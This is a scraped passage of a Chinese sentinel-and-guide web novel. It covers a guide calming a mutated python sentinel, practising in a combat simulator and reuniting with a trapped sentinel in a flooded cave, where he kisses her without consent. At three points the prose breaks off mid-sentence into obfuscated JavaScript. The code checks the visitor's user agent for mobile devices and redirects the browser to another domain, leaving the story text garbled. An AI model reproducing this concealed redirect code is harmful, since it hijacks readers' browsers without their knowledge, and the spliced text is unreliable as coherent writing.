这箱很深,它跳不上去,于是徐珊珊托起它,扶到壁边,它要一路爬,往头部去,却被蛇身扭动时差点撞到,想捉开它,往手心一扭,反而扑了上去,砸进水中,冒出气泡。 蛇身剧烈扭曲,背部与腹部交替出现,水花越来越高,箱体晃动,众人扶着玻璃四壁,但它在推车上,始终摇晃。 与此同时,呼铃响起,因为隔音墙,外面听不见里面的声音,传呼器直连到桌面。 薛柔:“珊珊,你还好吗?” 山昊:“徐珊珊,开门。” 看见努力的哨兵们,她还是拒绝了:“长官、薛柔姐,我没事,待会弄完了再开门,挂了啊。” 异变哨兵的下场很惨,她摁灭了通话。 车轮滑动,惯性和力道让水箱彻底歪倒,满缸水彻底泼洒,溅湿衣物,她看不清它在哪儿了,心急地想靠过去,小蘑菇要是出事,她在这也算半个残废了。 地面也滑,她趴在地上,试图想从绿、黑色的蛇身中,寻找出那一抹白,“你在哪里?” 蜷曲的蛇腹间,冒出一个尖头,被挤在身下,菌丝抽不出来,忍不住想过去帮它,一旁的男人拦住她,她伸出食指,“我的精神体。” “别靠近,我帮你取出来。” 两名哨兵分别站在两侧,蹲下,握住蛇身,黏液湿滑,鳞片稠密,又不停扭动,可以压制但不好将它抬起,费了一番力气,才腾出空隙,让她的精神体抽身。 “小蘑菇,你还好吗?”它的伞柄都已经变成墨绿色,这还只是一会儿,可见对方精神状态有多不好。 刚把这家伙救出来,它又义无反顾地扑了上去,不过这次学聪明了,直接跑去蛇尖,那里有人守着。看得她是好气又好笑。 整条蟒的状态逐渐平复,时间一长,她逐渐降低警惕,甚至接近时,偷摸了一下鳞片,连接处有些粗糙,好像会呼吸一样在手下张合。 透明框鳞片覆盖眼睛,蛇信也很少伸出,这证明它进入放松状态。它腹部比头粗,身上铺有彩虹,没有腥味。 虽然什么都没做,但徐珊珊也满身是汗,感觉出得比他们还多。 她朝蛇头走去,从胸章和臂章来看,男人应该是小队的队长,他蹲在地上,在她接近时仍能够露出一个微笑,实际上已经骨裂。 这对哨兵来说,仍算不上严重伤口。 “队长。” 她靠得不算近,另一个男人走近,手按在脖颈后,想替队长摁住头部,让他休息,防止伤口进一步恶化。在两人交换的过程中,异变突生。 她只感到有什么东西甩了过来,然后天旋地转,接着躯干四肢都有挤压感,落地时有块肉垫着,但几乎差点吓尿。 幸好中午没吃饭,没给吐出来,蛇信扑在她的脖子上,滑溜溜的。 “再见了妈妈,今晚我就要远航。”这句话从脑中冒出来,看来她此命危矣。 34. 第 34 章 “珊珊向导!” 在男人的急呼声下,巨蟒凭借其强大的肌肉力量,将女人卷起,抬离地面。层层裹住,脖颈、胸、腰,环绕大腿、膝盖,拧成蛇结。 下意识反抗时,两只鞋挣落,露出套上白袜的脚,脚趾不停蹬向蛇身,不痛不痒,直到双腿被彻底束缚,两脚腾空。 “唔,”手指扒煮蛇身,徒劳地往外推,随着它不断缩紧,手逐渐摊平,没于墨绿色鳞片下方。 蛇身从后颈绕到耳侧,弯曲地抬起头部,居高临下地注视。三人一蛇以一种奇异的姿态扭在一块,两只胳膊分别从身体两侧,插入她与蛇身之间,硬生生腾出空隙。 脖子、胸腔、腹部都是重点保护部位。 勒紧脖子,阻断血液循环,几秒就会失去意识,大脑会缺氧死亡。 压迫胸腔,在猎物每次呼气时,均匀地挤压胸腔,不紧不慢地施力,无法吸气,肋骨被压断,痛苦窒息而亡。 挤压腹部,内脏会被压坏,脊椎脱位,切断血流,血液涌入大脑,头脑发涨,进入视网膜,一片血红,甚至觉得眼球跳脱,意识模糊。 三十秒,这是它收缩施力所需的时间,这段时间内如果无法打碎蟒蛇的头,割破身体,基本就无力回天了。 所幸在场的人经验丰富,护住要害,而它也没有绞杀意图,只是单纯地想缠在一块,只施加了不让对方逃脱的力气。 蛇尾试图挣脱手,后方的人试图压下,仍窜出去一米,甩脱菌丝,男人只得先抱起被染成墨绿色的蘑菇,担心它意外受伤。 另一人迅速跪下,用手掌和膝盖压住尾巴,感受它不断在掌根拧动。 这疯子。 它的吻部逐渐贴上来,蛇信伸出,从她的脸颊扫向鼻梁,似乎在采集气味,冰凉、粗糙的鳞片刮擦着娇嫩皮肤。 当它张嘴时,气管向前伸,黑色洞口,数排尖牙向后弯,上下颌张开,接近一百八十度,鳞片间皮肤和肌肉延展,像被撑开的蛇皮口袋。 别吃我,别吃我,别吃我。她动不了,只能在心里默念这句话。 它合上嘴时,短方圆脑袋就显得憨笨,唇窝中的热传感器感知红外辐射,清晰勾勒出在场众人的位置和大小,吻部贴着女人的脸颊往上蹭,没有做出攻击举动。 其他人的精神体纷纷冒出来,一时间冒出数种大型蛇,为了不吓到向导,都在她的视野盲区,“嘶嘶”声若隐若现。 响尾蛇尾部摇动,角质环相互摩擦,发出响亮的“嘎啦”声。还有奇怪的搔抓声从下半身传来。 进攻意图被队长制止了,巨蚺虽做伏击姿势,却并未发动袭击,他发现了不对劲,拍了拍蛇身,被露牙恐吓。 他和副队的手臂也陷在结里,为了防止向导受伤,第一时间扑上来。刚才动静极大,仿佛失控堕化,那一刻,他甚至下定决心,准备击毙它。 但冷静感受,根本没用力,别看缠了这么多圈,捆他胳膊那儿反而不时露出间隙,让他能缩回手,隐约透露点嫌弃的意思。 他不可能伸出来,以防万一,虽然胳膊贴在别人身上有些冒犯,至少它得先放开,不能缠着人家,稍微使点劲,普通人的身体强度根本扛不住。 他内心暗骂,兄弟你刚刚绞我的时候用的不是这个力道。他现在还不一定恢复清醒,只是暂时失去了攻击性,决定减少刺激。 众人对视,交换了意见。 眼镜王蛇仍竖起上身,但不再扁脖子,将毒牙收了回去,只发出低沉的“呼呼”声,但竖起的身体仍在女人的侧脸上投下一片阴影。 脸被舔了一遍,非常奇怪,她忍无可忍地看向身前的男人,他的手臂肘撑在肩颈部,整个人也被迫歪头。 “队长,他醒过来了吗?” 见她还能说话,在场的人无不松了一口气。她的忽视,让缠在身上的巨蟒不满地发动攻击。 它扭头就咬他,男人敏捷地躲过攻击,一只手摁住它的上颌,但靠的太近,摁不中。 它还不甘心,牙齿陷进肩膀的肉,幸好这是无毒蛇,只是受点皮肉之苦,趁着这个机会,副队扣住蛇头,“胶带,”旁人走过来,摁住颈部,用索套套住蛇头,随后绳子勒紧。 “他才是队长。” 手指向身后,她扭头往天花板看,勉强看见人脸,但更显眼的,是大大小小数不清的蛇头,其中不乏毒蛇,低着头盯着她。 尖叫都没勇气,她多么想昏过去,但意识却分外清醒,磕磕绊绊回应道:“抱歉,我有点头晕眼花了。” “没关系,”对方并不介意她认错人,解释道:“他应该醒了,只是还没法交流。” “还需要一段时间才能恢复,可以请您再这样待一会儿吗?” 徐珊珊:“没问题。” 她更担心自己的精神体,这是她吃饭的家伙,看见有人将它抱到面前,虽然是一副醉态,还能翻个身,状态良好,她才放心。 室内安静下来,一时只剩呼吸声,还有布料的摩擦声,过了一会儿,仍不消停,她觉得自己膝盖都要被蹭红了。 不适感逐渐占据上风,“队长,能麻烦您找人看一下吗,是不是有什么,在蹭我的裤腿,把它抬走,好吗?” 男人行动不便,喊了另一人的名字,对方走上前,蹲下身,搬动腿部的蛇身,可能是理智恢复,抗拒不再强烈,于是他看清了到底是什么在作祟。 他耳朵一红,一边掰开一边说:“是残余的后肢。” 队长瞬时明白了,脸色一沉,看那双黄铜色眼睛,清澈许多,恨不得给他当场来一脚,看来是好得差不多了。 “向导小姐,感谢您的救命之恩,他的情况暂时稳定下来了,接下来我们将它带回去,现在将它拉开,请您不要动。” 男人话音未落,静音室的门被打开,用的系统权限,因为她一直没回应,等候的人太担心,选择开门。 室内赫然是一个蛇窟,在水潭中躺着的女人,半边身体躺在水下,仅露出头部和脚踝,一双被浸湿的袜子。 她周围盘着大大小小的蛇类,光打在身体鳞片上,反射出耀眼的光。 “嗨,”她试图抬出手掌,最终只伸出两个指头,一改变姿势,咽口水时,露出痛苦面具,为免担心,又马上笑起来,“我没事。”头发打湿,弯曲的淌在水面。 人们从狭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039652|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窄的门口涌入,围了几排。 皮鞋踏进水潭,漫到鞋面,走动时沾湿裤脚,山昊朝她而来,蹲下身,挡住脸,伸手将她从水泊中抬起。 “咔嚓——”闪光灯亮起,摄像机记录下这一幕。 在拍摄下,蛇队开始搬运这条网纹蟒,下身举起,上身仍不愿意松开,被人从后方狠狠踩了一脚,不知道是谁干的。 同伴拍了拍头,轻声提醒:“松开啦,别耽误别人时间。”别在这丢人现眼了。 小眼珠子,眼神都不一样了,还装听不到,既然不听劝,只能威逼了,“你也不想在这里变成人形吧?” 恢复需要的时间未知,也许是明白了后果,它终于放松肌肉,让人轻松地扛起来,重新放进水箱中。 静音室内外人员众多,水箱推出门口,蛇队的队长环扫了一圈人群,落在被抱进内间的女人背上,视线很快被隔断。 “感谢向导小姐的付出,带来一场奇迹……我们会尽全力,回报您的恩情。” 鼓掌声响起,发表完激昂的演讲,队长走出门,迎接他的是持枪核弹的士兵。 他们的行为合理却并不合法。擅闯重地,会被定罪判罚,他作为领头,下令挟持守卫,罪加一等。 被戴上镣铐,队员们却没有不高兴的,在注视下,仍一脸笑意。 他们冲破了人们对变温动物的刻板印象,冷血、没有感情、养不熟、受本能驱使。 人群被驱散,她被转移到车上,前、后方有车辆随行。 这次可能是异能用得狠了,她躺在车上,靠在长官胸前,头僵僵的,也说不出什么话,听着人声,执行指令。 静养后,又是身体检查。等她意识回笼,发现自己又旷了一天训练,一时说不上是庆幸还是担心,毕竟还有考核。 她刚抬头,就被人打断,“最近好好休息,需要什么,我带到医院来。” 餐盒揭开,热气腾腾,新鲜的热乎食物,她眨了眨眼,看向说话的男人,“对不起,让你担心了。” 他头部轻摇,垂向侧面:“是我对不起你,我该尊重你的想法。” “你的人生,我无权插手。你没有必要对得起我……我们。” 阳光闪烁,消息传开,当事人被暂时隐藏,但联系不上的人,引起了亲友担忧。 当晚,哨兵宿舍。 宿舍床上,从被子里伸出一条带着黑色斑点的毛茸茸尾巴,卷了个弯。 吃完瓜,佛尔克放下平板,抬头看向门口两人,“副队、队长,要是我也异化了,你们会绑着我硬闯静音室吗?” 对床的人嗤笑一声,“想得美,我才不陪你受罚呢。” 邵江:“我会及早发现你的情况,他们新陈代谢慢,感知不敏感,一发现就很严重,这才不得已之举。再说,这不是什么好榜样。” 阿瑞斯联系不上心上人,更是没好心情,懒得搭理。 佛尔克在床上转身,头枕在手肘,“唉,真希望我被污染时也能有人愿意帮我。” 没有谁愿意眼睁睁看着自己,失去理智,堕化成污染物,被处理掉。也没有谁愿意手刃昔日队友,如果有选择。 35. 第 35 章 住院期间,她狂补影像资料。起初,但凡心率偏快,三分钟内就会赶来医生问诊,不允许他人探望。 几天过去,她仍然身体健康、性情如初,认知清醒,逐渐放下心。 他们认为她在向导中,就像纠察队员在哨兵中的一样,体质特殊,能承受更重的污染,简言之就是天选之女。 窗外淅淅沥沥,雨刚停了两小时,又开始落。天气预报里,大部分地区,都有持续性强降水。 行人打伞从庭院中穿过,狂风将伞骨吹翻,单手抓着往前。 门被敲响、打开,长官站在门口,“暂时还不能出院,我给你带了一件新东西。” 她蹦下床,这几天闲得要长乌鸦了。 长官向她分享了两个消息。 好消息是,她的行为,展现了向导的担当和仁心,白塔将公开表彰,并给予物质奖励。 其次,如果她愿意,将设定一个新岗位,工作内容是治疗异化严重的哨兵,她将拥有单独的办公区,待遇会翻数倍,军衔直升两级。 作为特殊人才,为了保证她的安全,会配备警卫员。 坏消息是,作为哨向关系的典范,她会在演习的开幕式上致辞,这公开仪式会吸引各区人的关注。 长官还和她分享了许多幸事,一解烦闷。那名哨兵也恢复了人形,似乎一切向好。 不幸被隐瞒,比如她总念叨的蝙蝠,已经失踪三天,暴雨几天,溶洞水位上升,洞口被淹,许多地方只能深潜,难以组织救援。 他看见她还在做它的羊毛毡,恐怕没机会再见了,如果雨不停。位置不确定,食物固定在岩壁,但他不一定能取得,人的憋气时间有限,更要命的是缺氧。 徐珊珊:“演讲稿要我自己写吗?” 她没想起倒是好事,“如果你不放心,写好初稿,可以拿给我看。” 通过连廊到另一栋楼,他搬来全息设备,她的身体已完全恢复,可以在虚拟环境中锻炼战斗技巧。 他没忘记她说:“我不想做最后一名。” 设备被调试好,新注册账号,面容识别,全身扫描。她登录系统,无师自通地进入模拟对战,沉浸其中。 山昊转身往外,留她探索。卡尔站在门口,他现在是她的贴身保镖,两人相背而行,房门合拢。 她随意点进一个污染区,不到一分钟被身后偷袭致死,都没反应过来,脑瓜子嗡嗡的,咬牙调低疼痛感知。 不信邪地重点进去,于是她的死亡记录一直在左下角刷新。 她忍不住吐槽:这种强度的污染物,我打毛啊?这不等于让我去给东北虎滑铲吗? 这是公开的服务器,有各个塔共享的模拟数据,除了白塔,也有其他地区的用户,如果打开周围语音,就能听到不同口音。 她默认关闭,所以不知道有人在麦里劝她,只是不断重开,一遍遍换武器、攻击位置,尝试击败它。 怪物速度太快,她尝试唤出小蘑菇,来点附魔,但根本没沾边,就被贴脸了,惊悚一幕后,再次嗝屁。 她泄气地坐在等待大厅,能应对这些污染物的哨兵果然是人间兵器。 回看别人的公开录像,放慢了二十倍速,才勉强看清动作,排行榜上更是大佬云集。 无奈退出虚拟环境,转身就看见卡尔,他递过来一张湿巾,抱着水和食物,腰间配枪。 擦干汗水,她叹气道:“它们太强了,我打不过。” 他接过湿巾,水瓶开盖被递上来,“需要我陪你练习吗?”她同意了。 卡尔登号,两人加好友组队,再点进那个污染区。 男声突然冒出来,她吓得脖子左歪,一会儿才反应过来是谁。 卡尔:“新手应该以去自定义训练,那可以设置污染物等级。” 看来她直接跳过新手教程,是个严重错误。 卡尔的模拟形象和他现实区别不大,只是多了一个大范围刺青,从脖子到上臂。 两人刷新在荒野,脚下是荒凉黄土,几棵枯木,烈日下,脊背冒汗。视野开阔,第一时间没刷怪。 阳光下热浪翻滚,地面剧烈震荡。 “咚、咚、咚……” 卡尔领她到山丘后躲避,是一只污染物,身形巨大,浑身漆黑,体表凹凸不平,嘴部、手掌、胸口处都冒出长须,其中长着口器。 即使他们不动,对方仍像嗅到味般冲来,卡尔迎上前,“小心。” 参天大树于地面扎根,根往岩石缝隙、土壤中生长,枝条向上伸长,繁茂的绿叶遮蔽了天日,她曾见过盆栽似的树苗,此刻挡出大片阴影。 她也召唤出精神体,它的消化效率更高了。污染物一拳砸下来,地面开裂,速度还不慢,伸展出去的枝条被拍碎,枯落地上。 按理来说,他作为A级哨兵,应付常见的污染物是绰绰有余的,但这个情况,两人应该是遇上了精英怪。 卡尔偶尔会用虚拟对战系统,因此更了解些,恐怕降落点离污染源不远。 他笑自己,说要陪训,实力却不够。这个区域,他曾听过,高级污染物有两头。 拓荒的队伍,战到一半,诡异的奏起喜乐,任由两头污染物合击致死,死前通讯仍维系着,所有动静另一处都能听到。 它们善用精神攻击,而他不会被轻易污染。高级污染物自带威压,周围不会出现其他小怪。 他可以杀死这头,但不确定,打斗过程中,另外一头污染物会不会被吸引来。 徐珊珊身上携带着很多武器,但他们靠得太,卡尔身手敏捷,对方尽管力气大,却始终无法砸到他身上,反而不断被刺伤。 只能瞄准头部,每当它攻击时,会先扬起口器,再伸出触须,就趁这个时候,开枪射击。 子弹打在肥厚表皮上,溅出血,不知道为何,它突然转身朝她来,仿佛被激怒,她立刻逃跑,想拎起小蘑菇,却不知道它跑哪去了。 相较于泄愤,她更倾向于对方是柿子挑软的捏,欺软怕硬的污染物。 它步幅大,两腿交替,奔跑起来,给她带来的恐惧感不亚于曾迎面而来的犀牛。 她终于明白训练的作用,双方距离拉近,但她仍有余力,尚能坚持,这给了卡尔反应时间。 枝条不再从男人脚底长出,而直接由精神体伸展,它生长、破裂时发出声响,紧紧的缠住双腿,将它牢牢钉地。 “轰——” 污染物终于倒地,地面轰隆响,她步伐减缓,扶着腰,调整呼吸。 叶片边缘锋利,锁紧的同时,切割腿部,至少要让它再站不起来。 肢体受伤,污染物仰头,层层叠叠的口器发出低频的吼叫,轰耳震脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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头发混着汗液贴在脸颊,她四处环视,终于明白,为什么随队出任务,关系能快速拉近了,这不是爱情,是同生共死的战友情。 还是没见小蘑菇,一时很担心,但它不久窜出来。 它跳到她膝盖上,一蹦一蹦的,心终于放下,故意冷落它,又跳上来,菌丝还戳向地面。 她没看懂它的意思,安静等卡尔恢复,一直到男人苏醒,做出解释。 小蘑菇窜地里面帮忙去了。植物和真菌的互利共生,增强了这棵树的吸收能力,让他越战越勇,短暂突破上限。 解释完,她一顿彩虹屁输出,卡尔蹲下:“你是一个勇敢的战士,拯救了我们。” 虽然没有表情,但看得出来它非常骄傲,她答应投喂它爱吃的食物。 两人退出来,稍作休息,走回病房。 徐珊珊:“没想到我们的精神体还能打配合。” 卡尔点头,“很奇特。” “缘分啊,缘分。” 晚饭后,两人尝试自定义,果不其然有低级污染物,她一下子来手感了,几次试下来,逐渐产生信心。 而那只逃走的污染物,在他们下线后不久,被另一波人猎杀了,那群人目睹了全程。 36. 第 36 章 #怕水的宝子可以跳过这一章 月夜朦胧。 漆黑一片,她的手挨着干燥的岩壁,往上摸索,抓下些许碎石,滚入水面激起波纹,重重回响,手指往旁边移,细流落入掌心。 这是哪儿? 她下意识靠墙,脚上还穿着鞋,伸腿试探,鞋底变沉,一股向上托举的力,是水。 她被困在溶洞里,水泊边的一处斜坡。 周围寂寥得仿佛只剩她一人,轻声喊:“喂,有人吗?” “喂~喂~喂~” 近处、远处的回声传来,与后面的话重叠,一颗心提了起来,没有回应。没有光线,她什么也看不见。 肾上腺素激增,她摁下恐惧,一边鼓励自己,遏制悲观念头,一边探索墙面,手往高处摸。 她发现一个硬质圆物,触感突变,光滑似铝,以为碰到甲壳,她缩回手,脚却不动,压下后退欲望,因为后方就是暗河。 “什么东西……”她嘟嘟囔囔道,心似钟鼓,仔细体会,那像是人造物,滑溜溜的地方,像是标签。 她蹲下来,捡起小石子,握在手中,瞄准方向,轻抛过去,脆亮响声,没有其他动静。 黑暗引发了各种灾难想象,又因为一片死寂,颠覆了这些想象。 她感到脖子瘙痒,手碰上去,只是一根头发。 不能坐以待毙,她鼓起勇气,贴着墙往上靠,又摸到那圆柱形物体,搭在冰凉表面,左右摸索,圆弧装头部和密封圈。 不是尸体、不是奇怪生物,是一个罐子。 她松了口气,是人造物,它被卡在壁上,将它取下来,有些重,晃了几下才站稳,差点跌进河里。她蹲下来,将它放地上,又找到配套用品。 无意拧开一个卡口,旋动滚轮,气流喷到脸上,立即关好。这是一个氧气瓶。 再往旁边探索,没想到还挂着食物,用防水布包着,地面、墙上都有,竟然还有救生衣。 她赶快吹气,将它套在身上,拆开食物包装,补充能量。没有呼救,而是隔一会儿敲一下岩壁,让声音传出去。 没有回应,她将手指插入水流中,感受到暗河的流动方向,不知从什么时候起,冲力增强,后斜倾角变大,这意味着流速加快了。 一点湿意渗入鞋底,她不敢置信地舔了舔嘴唇,又往后缩了一步,别吧,心里不敢置信,却很诚实地穿好浮力调节器马甲,装好水肺装置,穿上脚蹼,背在身上很重。 好像在哪儿学过潜水,她虽然紧张,却知道如何操作。 打开照明装置,固定面罩,将封装食物放进口袋,庆幸的是口袋有拉链,它们不会被冲走,直到装满。赶在食物被泡前,她又多啃了几口。 水位一点点上涨,没到腰部,感受到裤脚在水中飘荡,忧虑逐渐加重,看来遗书都留不下了。 也许她死期将至,反而释怀。她想起和闺蜜的约定,不知道她还会不会记得给自己坟头烧小说,她在下面也要看的。 水流逐渐淹没胸口,她站不稳了,脚脱离地面,她浮空了,手扒着岩壁,却抵不过水流的冲力,它碎开了,而她也开始随波逐流。 水流随快,却不凶险。转弯处,她不时会贴近岩壁,尽量用手脚接触,避免救生衣被戳破,水未填满溶洞,她可以浮在水面,没用气瓶。 不知道漂了多远,时间过去了多久,浑身浸湿,凉意袭来。 但乎到了头,头顶着硬物,水不断将她往后冲,但她下不去,浮在上方。想往回推,逆流而行,不可能做到。 她困在此处,热量流失,几个小时后,会低温昏迷、肌肉僵硬。水位暂时稳定了,流速减慢。 她敲了敲岩壁,仍然无人回应,这一处的二氧化碳浓度逐渐升高,她有些头晕,因此分不清岩壁传来的声音是真,还是自己的幻觉。 不甘心憋死,她戴上呼吸罩,又活过来,调整姿势贴在岩壁上,却有震动,从后方传来,不是杂乱无章,非常规律。 要去那个地方,她得下潜,穿过这块下凹洞道,没有推进器,不知道能否到对岸,但待在这儿也是死,时不我待,她心一硬,调节浮起装置,进入水中。 更坏的情况出现了,当她的脚摆动,搅弄底部沉积的泥沙,视线变得异常浑浊,分不清上下左右,似乎每个方向都一样,她被困在沟底,找不到去路。 越急就扑腾的越快,体力快速消耗,也会加快耗氧量,她想到这一点,逼自己停了下来,任由浮力带着她悬浮。 既然放置了气瓶,必定有人来过,而这些人为了防止自己迷路,一般会沿途布置引导绳,但它也有可能断裂。 她感到有什么东西勾过自己的耳朵,调整了位置,手摸上去,竟然真的是一根尼龙绳,它很硬,竟然真的有! 水流缓和许多,她沿着引绳扑腾,顺利上浮,路过多个分叉口,不知道游了多久,终于冒出水面。 气瓶渐空,她试过边缘陡峭,站不上去,既然水势平缓,她珍惜地将气阀关闭,贴在墙边休息。震动声更响,她离声源更近了,不禁燃起了希望。 徐珊珊:“我在这里!” “有人吗?”她不厌其烦地敲击岩壁。 对面有反馈,太好了,她心情激动,活人,希望是人吧,露出惨淡微笑。恢复了一些力气,无论是什么,她都要往那儿去了。 这条路很长,她兴奋地沿着布线游,也听见声音越来越近,但最后还有一段完全被水淹没的洞道。 她憋不了多久,刚才的慌乱又耗多了氧气瓶,不知道还能不能撑到对岸。不再耽搁,她戴上面罩,往下方游去。 妈妈,保佑我吧。 她有些游不动了,速度变慢,生存欲驱使她前进,但比力竭更先到来的,是气瓶耗尽。 越来越稀薄的气体,再用力吸,什么也没有了,普通人的憋气时间只有三十秒,她眼睛一酸,像是回光返照似的,用力蹬脚,往上游去。 一直到破气的最后一秒,她的鼻子和口腔都涌入河水,呛得不停挣扎,有什么东西缠上来,手、脚、后背,是水鬼吗? 她奋力想挣扎,但却被锁紧,直到唇瓣被触碰,鼻翼被捏紧,渡了一口气,温暖的,好像不是水草。 她抬头看去,新面罩被扣在脸上,她猛灌了一口水,呛得咳嗽几声,才发现是氧气。大口气,冷静下来,看向身前,是一个人。 穿着黑色潜水服的人,她想起救援人员常被溺水者缠住,不断挣扎,阻拦游动,反而将两人往水底扯。她意识到后,立刻僵直,任人拉动。 他们在往斜上方去。 她先被推上去,上身靠岸,肢体接触到空气,很冷,浑身发抖,唇齿止不住颤动。 她下意识关闭气阀,突然意识到,这不是自己的,一根管子连到身后,是别人的,转身望去,一个浑身被包裹的人从水里冒出来。 先是手靠岸,然后腿也上来,最后是全身,他带着防护镜,脱下帽子,短发全湿,颈后剃发。 直到男人摘下眼镜,她才认出来,说话声有些抖:“布鲁诺?” “是我,”男人叉腰站着,“你怎么在这儿?” “我……哈切!”她回忆时,忍不住咳嗽,上下齿不停摩擦发出声响,观察到他的脸颊微凹,站姿也有点奇怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070890|176810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见她失温,男人蹲在袋子旁,低头翻找。她不可能来这儿的,这一幕幕都透露着不合理,兴许是他的幻觉。 听到女人呼声时,布鲁诺以为是污染物的遗留影响,人在黑暗、缺氧、独处的环境待久了,容易神志不清。 但当水里出现了不一样的动静时,想到那种可能,他还是没忍住,跳了下去,却没想到真的是她。 干燥的换洗衣服、面巾,他听见拉链滑动的声音,女人脱下沉重的潜水装置,关闭照明灯,自言自语道:“别把我的宝贝打湿了……” 担心她感冒,布鲁诺:“把衣服脱一下。” “啊?” 手电筒被调到微光模式,但仍能看清湿透的裤子半透,映出内里轮廓,腿面沾着水珠和竖起的寒毛,她从鼓鼓囊囊的口袋里掏出一袋袋食物,堆在一块。 听到这话时好像还在走神,张着嘴,手先于脑子行动,去掀上衣的边缘,做到一半回神,怒目而视,扁着嗓子质问:“你想干嘛?” 她捡起手电,往他身上照,看件手上的干布:“好好。” 光线一下子消失了,他走过去,东西被接过,“你转过去,不准偷看啊,不然我会揍你。” 他轻笑了一下,说话好硬气,不知道是谁刚才扒拉着他,转身蹲下,也开始解衣服。 全黑环境,只有触感,将衣裤鞋袜全脱掉,擦干躯干,好受多了。肌肤裸露,她的脸偷偷红了,将毛巾放下,抓起干衣服换上。 只有外衣、外裤,她想了想还是算了,等她衣服晾干穿自己的,尴尬地咳了两声。 男人换好衣服,在岸边摸水位,仍在刻痕处,没有上升,虽然是幻觉,他还是下意识担心,有她在就更担心了。 微光亮起,只能照亮周围半米,照亮那堆“山丘”,她用很骄傲的语气说:“饿不饿?我给你带了吃的,不准吃多了。” 他一高一低地走近,脸上带着笑意,捧场地说:“太饿了,宝宝,如果你不来,我快要饿死了。” 不是,他们很熟吗? 徐珊珊被这话给惊住了,泪水收回去,情绪一下子从紧张、恐惧,变成无语。不是哥们,我们才疏导过一次吧? 她怎么记得,刚认识不久,他就要出任务了,之后两人只打过视频,上次不是很尊敬的喊向导小姐吗,怎么突然就宝宝了? “别乱喊。”她撕开塑料袋,将压缩饼干递过去,男人握在手中,却没吃,她没听见咀嚼声。 “吃吧,唔唔,等等——” 当男人朝她扑过来的时候,她首先感到恐惧,往后倾倒,随即躺靠在地上,脑后枕着手掌,嘴唇被啃咬,男人的鼻梁戳在脸颊。 她越挣扎,对方越起劲,徐珊珊想了想,躺平了,不知道他发了什么疯,见她不用力,他也逐渐松开力气,转而贴上来,侧身躺在地上,紧贴着她的躯体。 手电筒的灯光突然熄灭,黑乎乎一片,唯有触感更加清晰。 徐珊珊的脑子在转动,面对如此流氓行径,她本想蹬腿废掉他的小弟弟,但转念一想,这危险环境,他还不能失去行动力。 这口气又憋不下去,她还记得刚离开时,布鲁诺的那股可怜劲,让她别忘记自己。 在她印象里,对方明明是个粘人小可怜,怎么形象崩坏了? 刚见面就敢这么对她?所幸对方只是亲咬,没有更多出格举动。 等到男人满足的起身,迎来的是一记耳光,脸被打向一旁,不痛,暖暖的。 像是被抽出了实感,布鲁诺捂着脸,眼神清澈了些,“幻觉?” “我不是假的,我真活人,你个流氓,给我过来。” 37. 第 37 章 她摸不到手电筒,黑暗中不敢乱动,怕落水。孤立无援时,她反而更有勇气,果断抉择,没被困境击败,最终获救。 聚焦于每个动作、外界信息,强压下情绪,它开始涌动反而是在重逢后。 此时,她迫切地希望他回应,听见脚步声才安心。 不一会儿,身前一阵风,什么东西倒下,压在腿上。她伸手摸,一颗湿漉漉的头,额前短发像毛茬,搂一撮能拧出水。 指尖清晰的跳动,不知道是她的脉搏,还是男人的。活人,另一个同伴,没什么比这更好的了。 真的靠近,她反而没了惩罚的心,只是象征性地拉扯耳坠,“痛吗?” 布鲁诺:“不痛。” 嘿他这个皮糙肉厚,徐珊珊气笑了,加大力度,直到男人开口求饶,才松手,“知道痛下次就注意点。” 布鲁诺平躺着,脸侧向外,感受到在他头上摸索的手,热乎乎的,他抬起一只手,叠在上分,指引着她从耳廓,移向眉眼。 她说自己是真的,但怎么可能呢?上百公里,就算她从别的入口进入,脚程也太远,地势多变,还有被暗河完全淹没的路段。 尽管不可能,布鲁诺还是揣着侥幸心理,硬编出一个可能,归结于她的爱意,出于担心自己。 布鲁诺:“你不该来的……” 瞧他这话,搞得跟她主动来一样,她莫名其妙就到这儿了。她屈膝,伸手推肩,他有点沉,还算识相,自己疑惑地撑地坐起来。 这事算过去了,思绪转向两人如何出去,“你困在这多久了?” “第五天。”最后一次在洞口汇合,他手绘地图,记录行动路线,并沿途布置补给点。 布鲁诺说话声不大,时不时停顿,避开回声,和她讲述自己的经历。 消息准确,他率先找到任务对象,但这儿离污染源很近,他受到影响,在打斗过程中受了伤,感知混淆。 他背着物资,试图返回,中途却涨水,流速变快,回声定位出了问题,他不得不找个高处停下来。 山洪灌入,他被迫在这儿停了几天。幸运的是,这个气室位置高,空间大。他可以降低代谢率,减慢呼吸、心跳,少耗氧,撑更长时间。 但不断上涨的水位,湍急河流,快速出去的希望破灭,他也落入了两难境地,雨何时停? 水流变缓后,兴许队友能进洞救援,他的精神体是洞穴鱼,但需要时间,毕竟这里分岔多,支路长。 徐珊珊:“有没有东西给我垫一下,我想躺着。” 